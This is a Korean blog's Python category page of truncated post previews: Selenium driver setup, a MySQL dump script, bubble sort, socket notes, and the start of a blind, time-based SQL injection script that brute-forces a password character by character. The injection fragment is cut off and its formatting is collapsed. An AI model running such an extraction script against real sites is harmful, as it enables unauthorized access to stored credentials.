본문 바로가기

Coding/Python113

Selenium 경로설정 selenium을 사용하고있는데 경로를 잡아주지않으면 오류를 뿜는다.먼저 아래의 주소로 들어가서 OS에 맞게 파일을 다운받는다. (크롬 기준) http://chromedriver.storage.googleapis.com/index.html?path=2.20/ 원하는 경로에 알집을 풀고 PATH를 설정해주면 된다. driver = webdriver.Chrome("C:\chromedriver_win32\chromedriver.exe") 2016. 1. 8.
DB Parser import MySQLdb db = MySQLdb.connect(db='', user='root', passwd='', host='localhost', charset='euckr', use_unicode=True) // 한글깨짐 해결cursor = db.cursor()cursor.execute('SELECT * FROM table')recs = cursor.fetchall()f = open("auth.log", 'w')for rec in recs: result = '[no] = %d\n'%(rec[0]) f.write(result.encode("utf-8")) f.close()cursor.close() 2015. 12. 25.
정렬 알고리즘 #버블정렬list = []temp = ""input = ""count = 1for i in range(5): a = int(raw_input("Input Number : ")) print "a["+str(i)+"] = "+str(a) list.append(a)print "Before sort -> "+str(list) for i in range(len(list)-1): for j in range(0, len(list)-1-i): if(list[j]>list[j+1]): temp = list[j] list[j] = list[j+1] list[j+1] = temp print "i = "+str(i)+", j = "+str(j)+str(list) print "After sort -> "+str(list)---.. 2015. 3. 9.
파이썬 소켓 프로그래밍 Server 클래스 socket(도메인, 유형) : 소켓 객체를 생성한다. bind((host,port)) : 소켓을 host 컴퓨터의 port에 연결시킨다. listen(n) : 연결을 원하는 클라이언트가 대기할 수 있는 큐의 크기이다. 1이상의 값을 가져야하며 최대값은 시스템에 따라 다르나 보통 5이다. accept() : 클라이언트의 연결을 받아들인다. 블로킹모드일때 클라이언트가 연결을 시도할때까지 기다린다. recv(bufsize) : 소켓으로부터 데이터를 읽어온다. 한번에 읽어들이는 최대 데이터의 양은 bufsize에 의해 결정된다. send(string) : 데이터(string)를 소켓에 쓴다. 값은 한 클라이언트로 전달된다. close() : 소켓을 닫는다. Client 클래스 socket(.. 2014. 8. 13.
Python Blind,Time Based SQL Injection Source [GET] import httplibimport urllibresult=''length=1string="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_-=+"for i in range(1,100): if(length '+string[j]print 'Password is '+result [POST] import httplibimport urllibresult=""length=1string="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_-=+"for i in range(1,100): if(length=2: result=result+strin.. 2014. 6. 15.